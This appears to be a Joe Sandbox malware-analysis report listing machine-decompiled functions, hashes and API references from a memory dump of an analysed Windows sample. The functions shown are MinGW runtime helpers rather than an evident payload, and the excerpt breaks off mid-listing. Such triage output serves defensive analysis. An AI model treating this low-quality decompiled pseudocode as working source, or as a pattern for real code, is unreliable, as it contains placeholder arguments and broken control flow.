Instruction Fuzzy Hash: 4E31C7A0A8C3C1CAF715DF28E844B133FD59B6134CF4465AECA944B392D3F96408D75A

Uniqueness

Uniqueness Score: -1.00%

Function 00422610 Relevance: 16.5, APIs: 11, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00422610(CHAR* __eax, void* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* _v16;
				char* _v52;
				void* __ebx;
				void* __esi;
				signed int _t21;
				struct HINSTANCE__* _t22;
				struct HINSTANCE__* _t25;
				_Unknown_base(*)()* _t26;
				CHAR* _t29;
				struct HINSTANCE__* _t31;
				signed int _t34;
				char _t36;
				void* _t37;
				void* _t41;
				_Unknown_base(*)()* _t42;
				void* _t45;
				void* _t48;
				void* _t49;
				char** _t50;
				char** _t51;
				struct HINSTANCE__** _t53;
				struct HINSTANCE__** _t54;

				_t37 = __edi;
				_t41 = __edx;
				_t29 = __eax;
				_t49 = _t48 - 4;
				L00422140(__eax, __eax, __edx, __edi, __edx, _t45);
				_t21 =  *(__edx + 0xb4);
				if( *((intOrPtr*)(__edx + 4 + _t21 * 8)) != 6) {
					if(_t21 > 0x11) {
						L14:
						abort();
						abort();
						L0042F4C0();
						L0042F4C0();
						abort();
						abort();
						abort();
						abort();
						abort();
						abort();
						abort();
						_push(_t45);
						_push(_t37);
						_push(_t41);
						_t50 = _t49 - 0x1c;
						 *_t50 = "libgcc_s_dw2-1.dll";
						_t22 = GetModuleHandleA(_t29);
						_t51 = _t50 - 4;
						if(_t22 == 0) {
							 *0x4b6004 = 0x424590;
							_t42 = E00424340;
						} else {
							_t31 = _t22;
							 *_t51 = "libgcc_s_dw2-1.dll";
							_t25 = LoadLibraryA(??);
							_t53 = _t51 - 4;
							 *0x607df0 = _t25;
							_v52 = "__register_frame_info";
							 *_t53 = _t31;
							_t26 = GetProcAddress(??, ??);
							_t54 = _t53 - 8;
							_t42 = _t26;
							_v52 = "__deregister_frame_info";
							 *_t54 = _t31;
							 *0x4b6004 = GetProcAddress(??, ??);
							_t51 = _t54 - 8;
						}
						if(_t42 != 0) {
							_v52 = 0x60701c;
							 *_t51 = 0x5ca0f8;
							 *_t42();
						}
						 *_t51 = 0x401590;
						return E004014C0();
					} else {
						_t34 =  *(_t21 + 0x6073f4) & 0x000000ff;
						_t36 =  *(_t29 + _t21 * 4);
						if((_t29[0x63] & 0x00000040) == 0 || _t29[_t21 + 0x6c] == 0) {
							if(_t34 != 4) {
								goto L14;
							} else {
								_t36 =  *_t36;
								goto L13;
							}
						} else {
							L13:
							_t29[0x4c] = _t36;
							return _t21;
						}
					}
				} else {
					 *((intOrPtr*)(__ebx + 0x4c)) = 0;
					__esp = __esp + 4;
					_pop(__ebx);
					return __eax;
				}
			}

0x00422610
0x00422611
0x00422614
0x00422616
0x00422619
0x0042261e
0x00422629
0x00422643
0x004ae625
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00422649
0x00422649
0x00422650
0x00422657
0x00422663
0x00000000
0x00422669
0x00422669
0x00000000
0x00422669
0x0042266b
0x0042266b
0x0042266b
0x00422673
0x00422673
0x00422657
0x0042262b
0x0042262b
0x00422632
0x00422635
0x00422637
0x00422637

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbdf7b9ac44f7ebb01be5e50b7f7b42335bb55565c29e45178ddb8b56857eba2
Instruction ID: 8fb494178fafdd759ff484def60789c6770076559d681223e78baacd3eacda90
Opcode Fuzzy Hash: fbdf7b9ac44f7ebb01be5e50b7f7b42335bb55565c29e45178ddb8b56857eba2
Instruction Fuzzy Hash: 21F04C71A055200AE7347F2AB58473337E05F1231CFC555BBD9044A307E1BCA8488A4A

Uniqueness

Uniqueness Score: -1.00%

Function 00422680 Relevance: 15.1, APIs: 10, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00422680(intOrPtr* __eax, signed int* __ecx, CHAR* __edx) {
				void* _v16;
				signed int _v52;
				char _v220;
				signed int* _v224;
				CHAR* _v248;
				intOrPtr* _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				signed int _v264;
				char* _v308;
				void* __edi;
				void* __ebp;
				void* _t23;
				struct HINSTANCE__* _t24;
				struct HINSTANCE__* _t27;
				_Unknown_base(*)()* _t28;
				void* _t35;
				CHAR* _t37;
				struct HINSTANCE__* _t38;
				signed int _t44;
				signed int _t52;
				intOrPtr* _t54;
				signed int _t55;
				signed int _t58;
				void* _t60;
				signed int* _t61;
				char** _t62;
				char** _t63;
				struct HINSTANCE__** _t65;
				struct HINSTANCE__** _t66;

				_t52 = 1;
				_t54 = __eax;
				_t37 = __edx;
				_t61 = _t60 - 0xfc;
				_v224 = __ecx;
				while(1) {
					_t23 = L004214A0(_t37,  &_v220);
					_t58 = (0 |  *((intOrPtr*)(_t54 + 0x10)) == _t37[0x48] - (_t37[0x60] >> 0x0000001f)) << 2;
					if(_t23 != 0) {
						break;
					}
					_t44 = _v52;
					__eflags = _t44;
					if(_t44 == 0) {
						L10:
						__eflags = _t58;
						if(_t58 != 0) {
							abort();
							L0042F4C0();
							L0042F4C0();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							_push(_t58);
							_push(_t52);
							_push(_t54);
							_t62 = _t61 - 0x1c;
							 *_t62 = "libgcc_s_dw2-1.dll";
							_t24 = GetModuleHandleA(_t37);
							_t63 = _t62 - 4;
							__eflags = _t24;
							if(_t24 == 0) {
								 *0x4b6004 = 0x424590;
								_t55 = E00424340;
							} else {
								_t38 = _t24;
								 *_t63 = "libgcc_s_dw2-1.dll";
								_t27 = LoadLibraryA(??);
								_t65 = _t63 - 4;
								 *0x607df0 = _t27;
								_v308 = "__register_frame_info";
								 *_t65 = _t38;
								_t28 = GetProcAddress(??, ??);
								_t66 = _t65 - 8;
								_t55 = _t28;
								_v308 = "__deregister_frame_info";
								 *_t66 = _t38;
								 *0x4b6004 = GetProcAddress(??, ??);
								_t63 = _t66 - 8;
							}
							__eflags = _t55;
							if(_t55 != 0) {
								_v308 = 0x60701c;
								 *_t63 = 0x5ca0f8;
								 *_t55();
							}
							 *_t63 = 0x401590;
							return E004014C0();
						} else {
							_t52 = _t52 + 1;
							__eflags = _t52;
							E00422610(_t37, _t44,  &_v220, _t52, _t52);
							continue;
						}
					} else {
						_v248 = _t37;
						_v252 = _t54;
						 *_t61 = 1;
						_v260 =  *_t54;
						_v256 =  *((intOrPtr*)(_t54 + 4));
						_v264 = _t58 | 0x00000002;
						_t35 =  *_t44();
						__eflags = _t35 - 7;
						if(_t35 == 7) {
							 *_v224 = _t52;
							return _t35;
						} else {
							__eflags = _t35 - 8;
							if(_t35 != 8) {
								break;
							} else {
								goto L10;
							}
						}
					}
					L25:
				}
				return 2;
				goto L25;
			}

0x00422682
0x00422688
0x0042268b
0x0042268d
0x00422693
0x004226ee
0x004226f4
0x00422710
0x00422715
0x00000000
0x00000000
0x004226a0
0x004226a7
0x004226a9
0x004226dc
0x004226dc
0x004226de
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014f9
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401541
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x004226e0
0x004226e6
0x004226e6
0x004226e9
0x00000000
0x004226e9
0x004226ab
0x004226ab
0x004226af
0x004226b8
0x004226bf
0x004226c8
0x004226cc
0x004226d0
0x004226d2
0x004226d5
0x00422734
0x00422740
0x004226d7
0x004226d7
0x004226da
0x00000000
0x00000000
0x00000000
0x00000000
0x004226da
0x004226d5
0x00000000
0x004226a9
0x00422726
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43d4c83f2e5ff6103c7a6c5e3c9b9f24f14bea841c02bdbaabb12a79a4502fd6
Instruction ID: 51f53e972d7b38edf4fa8c141ca379b3761c89807dbc673d9b48b95237f9a4be
Opcode Fuzzy Hash: 43d4c83f2e5ff6103c7a6c5e3c9b9f24f14bea841c02bdbaabb12a79a4502fd6
Instruction Fuzzy Hash: 7B11E771B193109BD724AF6DE58162BB3E4EFC4314F90893FE848D7301E6B9D8048B96

Uniqueness

Uniqueness Score: -1.00%

Function 00498950 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 214COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 004989F6
memcpy.MSVCRT ref: 00498A1B
memmove.MSVCRT ref: 00498A6D
memmove.MSVCRT ref: 00498AA3
memcpy.MSVCRT ref: 00498AEE

Strings

basic_string::_M_replace, xrefs: 00498C2C

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 1332ab048724dde7bca2d246a5004c8367bbc87b03c339e2c92531a2b0273334
Instruction ID: 83a0303fab86b2465c014366133152c8ee0e6c894d668d30638f34d14653c31e
Opcode Fuzzy Hash: 1332ab048724dde7bca2d246a5004c8367bbc87b03c339e2c92531a2b0273334
Instruction Fuzzy Hash: EA810574A083918FCB15DF2CC08052BFFE1BF8A744F18896EE4C997311DA78E9459B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F910 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 0041F99D

Strings

Address %p has no image-section, xrefs: 0041FA4B
VirtualQuery failed for %d bytes at address %p, xrefs: 0041FA37
@, xrefs: 0041F9E8
VirtualProtect failed with code 0x%x, xrefs: 0041FA0A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$@$Address %p has no image-section
API String ID: 1804819252-1098444051
Opcode ID: 12c320a09bdceb6827833389dd68ed2765394b4e3e23b359001fc6866b51a5a6
Instruction ID: 8cc5b345fd5afbb402adfa63bb3d7fa2f44dd4adda7f285820704b76bf5bead6
Opcode Fuzzy Hash: 12c320a09bdceb6827833389dd68ed2765394b4e3e23b359001fc6866b51a5a6
Instruction Fuzzy Hash: 0941AEB29043019FD700EFA9D984A4BFBE1FF94354F058A6EE88887351E338E945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00424890 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004248A9
memcpy.MSVCRT ref: 004248CD
malloc.MSVCRT ref: 004248E7
memset.MSVCRT ref: 00424915
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: 3e93cf0bed98872defaf6d7a5bd8f7ba2cf546370b8176a116830a03781c096a
Instruction ID: 1de28d61ee0f9ebf63ec602a6c2c15e461932e7c7c51b67f3284f5aec860bb05
Opcode Fuzzy Hash: 3e93cf0bed98872defaf6d7a5bd8f7ba2cf546370b8176a116830a03781c096a
Instruction Fuzzy Hash: AB1191757046259ED700BF6AE48045BFBE8EF54398B85893FE84CC7301E634E9088665

Uniqueness

Uniqueness Score: -1.00%

Function 00422A16 Relevance: 10.5, APIs: 7, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957c766d8d7b4034e2b70e26671b8b427c93212630a8783939fc7612a4a184eb
Instruction ID: 66316da5fe369d2bb862621e3cde6218a7da05ee707b7ffbc76e50fea62bc9a8
Opcode Fuzzy Hash: 957c766d8d7b4034e2b70e26671b8b427c93212630a8783939fc7612a4a184eb
Instruction Fuzzy Hash: B0F022A0A062125BC710BBA9B0423773B706F7271CFC914BFE84806253F5AD194CC79E

Uniqueness

Uniqueness Score: -1.00%

Function 0042F5F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0042F5FC
GetProcAddress.KERNEL32 ref: 0042F61C
GetProcAddress.KERNEL32 ref: 0042F64D

Strings

__lc_codepage, xrefs: 0042F642
___lc_codepage_func, xrefs: 0042F60B
msvcrt.dll, xrefs: 0042F5F5

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: fe732a8822fe0b32d443d52754a150a3f50e3eb81f29c941b4ffecbbcbc9df02
Instruction ID: c39eb863305592ca60bdbf173fcddf855a89fa00ac05ad89e5eafc53e80c2fdc
Opcode Fuzzy Hash: fe732a8822fe0b32d443d52754a150a3f50e3eb81f29c941b4ffecbbcbc9df02
Instruction Fuzzy Hash: 0CF04FB1A452118FD750BF78AD0465BBEF4FE04310F84453EC888C7355EA78945ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422A59 Relevance: 10.5, APIs: 7, Instructions: 28COMMON

Download Yara Rule

APIs

abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 0d8ef9a22efe8eb2577a80cd2c0deb57866208b198a15600e649571a3501045b
Instruction ID: 092d1695cb566dbe7eddc1f7ba50a9001e345202d0b97c62b02cd8605bfd979a
Opcode Fuzzy Hash: 0d8ef9a22efe8eb2577a80cd2c0deb57866208b198a15600e649571a3501045b
Instruction Fuzzy Hash: 80F082707055214AC210BF6EA04233B77B06F62B0CFC1297FF44997243D6ACA90D865E

Uniqueness

Uniqueness Score: -1.00%

Function 00426040 Relevance: 9.2, APIs: 6, Instructions: 221
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00426040(signed int __eax, signed int __edx, signed int _a4) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _t113;
				intOrPtr* _t116;
				intOrPtr _t122;
				signed int _t123;
				signed int _t129;
				signed int _t131;
				char* _t133;
				signed int _t135;
				void* _t139;
				void* _t140;
				signed int _t143;
				signed int _t144;
				signed int _t145;
				char* _t146;
				signed int _t147;
				signed int _t150;
				signed int _t152;
				signed int _t154;
				intOrPtr _t159;
				signed int _t163;
				signed int _t171;
				signed int _t174;
				void* _t179;
				signed int _t181;
				void* _t184;
				signed int _t186;
				signed int _t193;
				signed int _t197;
				signed int _t198;
				signed int* _t199;

				_t150 = __edx;
				_t199 =  &_v60;
				_t135 = _a4;
				L0042F520();
				 *((intOrPtr*)(__eax)) = 0;
				 *_t199 = _t135;
				L0042F508();
				_t197 = __eax;
				_t113 =  *((intOrPtr*)(_t135 + 4));
				if(_t113 < 0) {
					 *((intOrPtr*)(_t135 + 4)) = 0;
				}
				_v64 = 1;
				_v72 = 0;
				_v68 = 0;
				 *_t199 = _t197;
				L0042F4F0();
				_v60 = _t113;
				_v56 = _t150;
				if(_t150 < 0) {
					_v60 = 0xffffffff;
					_v56 = 0xffffffff;
					goto L19;
				} else {
					_t152 =  *(_t135 + 0xc);
					if((_t152 & 0x00000108) == 0) {
						asm("cdq");
						_v60 = _v60 -  *((intOrPtr*)(_t135 + 4));
						asm("sbb [esp+0x14], edx");
						goto L19;
					} else {
						_t140 =  *_t135;
						_t116 =  *((intOrPtr*)(_t135 + 8));
						_v36 = _t116;
						_v52 = _t140 - _t116;
						if((_t152 & 0x00000003) != 0) {
							_t184 = ((_t197 & 0x0000001f) + (_t197 & 0x0000001f) * 4 << 3) +  *((intOrPtr*)(__imp____pioinfo + (_t197 >> 5) * 4));
							_t171 = _v52;
							__eflags =  *((char*)(_t184 + 4));
							_v40 = _t171;
							if( *((char*)(_t184 + 4)) < 0) {
								_t133 = _v36;
								__eflags = _t140 - _t133;
								if(_t140 <= _t133) {
									goto L6;
								} else {
									_a4 = _t135;
									_t181 = _t152;
									_t139 = _t140;
									_t163 = _t171;
									do {
										__eflags =  *_t133 - 0xa;
										_t133 = _t133 + 1;
										_t163 = _t163 + (0 | __eflags == 0x00000000);
										__eflags = _t139 - _t133;
									} while (_t139 != _t133);
									_v40 = _t163;
									_t135 = _a4;
									_t152 = _t181;
								}
							}
							goto L7;
						} else {
							if((_t152 & 0x00000080) == 0) {
								L0042F520();
								_v60 = 0xffffffff;
								 *_t116 = 0x16;
								_v56 = 0xffffffff;
								goto L19;
							} else {
								L6:
								_v40 = _v52;
								L7:
								if((_v56 | _v60) == 0) {
									_v56 = 0;
									_v60 = _v40;
									return _v60;
								} else {
									_t154 = _t152 & 0x00000001;
									if(_t154 == 0) {
										_t66 =  &_v60;
										 *_t66 = _v60 + _v40;
										__eflags =  *_t66;
										asm("adc [esp+0x14], edx");
										return _v60;
									} else {
										_t122 =  *((intOrPtr*)(_t135 + 4));
										if(_t122 != 0) {
											_t123 = _t122 + _v52;
											_v48 = 0;
											_t174 = _t197 >> 5;
											_v32 = _t174;
											_t186 = _t123;
											_v36 = _t123;
											_t143 = ((_t197 & 0x0000001f) + (_t197 & 0x0000001f) * 4) * 8;
											_v52 = _v40;
											_t129 =  *(__imp____pioinfo + _t174 * 4);
											if( *((char*)(_t129 + _t143 + 4)) < 0) {
												_v64 = 2;
												_v72 = 0;
												_v68 = 0;
												 *_t199 = _t197;
												_v40 = _t143;
												L0042F4F0();
												_t144 = _v40;
												__eflags = _v56 ^ _t154 | _v60 ^ _t129;
												if((_v56 ^ _t154 | _v60 ^ _t129) != 0) {
													_v64 = 0;
													 *_t199 = _t197;
													_v40 = _t144;
													_v72 = _v60;
													_v68 = _v56;
													L0042F4F0();
													__eflags = _v36 - 0x200;
													_t145 = _v40;
													if(_v36 > 0x200) {
														L33:
														_t131 =  *((intOrPtr*)(_t135 + 0x18));
													} else {
														_t131 = 0x200;
														__eflags = ( *(_t135 + 0xc) & 0x00000408) - 8;
														if(( *(_t135 + 0xc) & 0x00000408) != 8) {
															goto L33;
														}
													}
													_t159 =  *((intOrPtr*)(__imp____pioinfo + _v32 * 4));
													__eflags =  *(_t159 + _t145 + 4) & 0x00000004;
													if(( *(_t159 + _t145 + 4) & 0x00000004) != 0) {
														_t131 = _t131 + 1;
													}
													goto L12;
												} else {
													_t146 =  *((intOrPtr*)(_t135 + 8));
													_t193 = _v36;
													_t179 = _t146 + _t193;
													__eflags = _t146 - _t179;
													if(_t146 < _t179) {
														_t198 = _t135;
														do {
															__eflags =  *_t146 - 0xa;
															_t146 = _t146 + 1;
															_t193 = _t193 + (0 | __eflags == 0x00000000);
															__eflags = _t179 - _t146;
														} while (_t179 != _t146);
														_v36 = _t193;
														_t135 = _t198;
													}
													__eflags =  *(_t135 + 0xd) & 0x00000020;
													_t147 = _v36;
													if(( *(_t135 + 0xd) & 0x00000020) != 0) {
														_t147 = _t147 + 1;
														__eflags = _t147;
													}
													asm("sbb edx, ebx");
													asm("adc edi, edx");
													_v60 = _v52 + _t129 - _t147;
													_v56 = _v48;
												}
											} else {
												_t131 = _t186;
												L12:
												asm("sbb edi, edx");
												asm("adc edi, [esp+0x1c]");
												_v60 = _v60 - _t131 + _v52;
											}
										}
										L19:
										return _v60;
									}
								}
							}
						}
					}
				}
			}

0x00426040
0x00426044
0x00426047
0x0042604b
0x00426050
0x00426056
0x00426059
0x0042605e
0x00426060
0x00426065
0x00426067
0x00426067
0x0042606e
0x00426076
0x0042607e
0x00426086
0x00426089
0x00426090
0x00426094
0x00426098
0x004262c3
0x004262cb
0x00000000
0x0042609e
0x0042609e
0x004260a7
0x004261d3
0x004261d4
0x004261d8
0x00000000
0x004260ad
0x004260ad
0x004260af
0x004260b4
0x004260bd
0x004260c1
0x0042617d
0x0042617f
0x00426183
0x00426187
0x0042618b
0x00426191
0x00426195
0x00426197
0x00000000
0x0042619d
0x0042619f
0x004261a3
0x004261a5
0x004261a7
0x004261b0
0x004261b2
0x004261b8
0x004261bb
0x004261bd
0x004261bd
0x004261c1
0x004261c5
0x004261c9
0x004261c9
0x00426197
0x00000000
0x004260c7
0x004260ca
0x00426340
0x00426345
0x0042634d
0x00426353
0x00000000
0x004260d0
0x004260d0
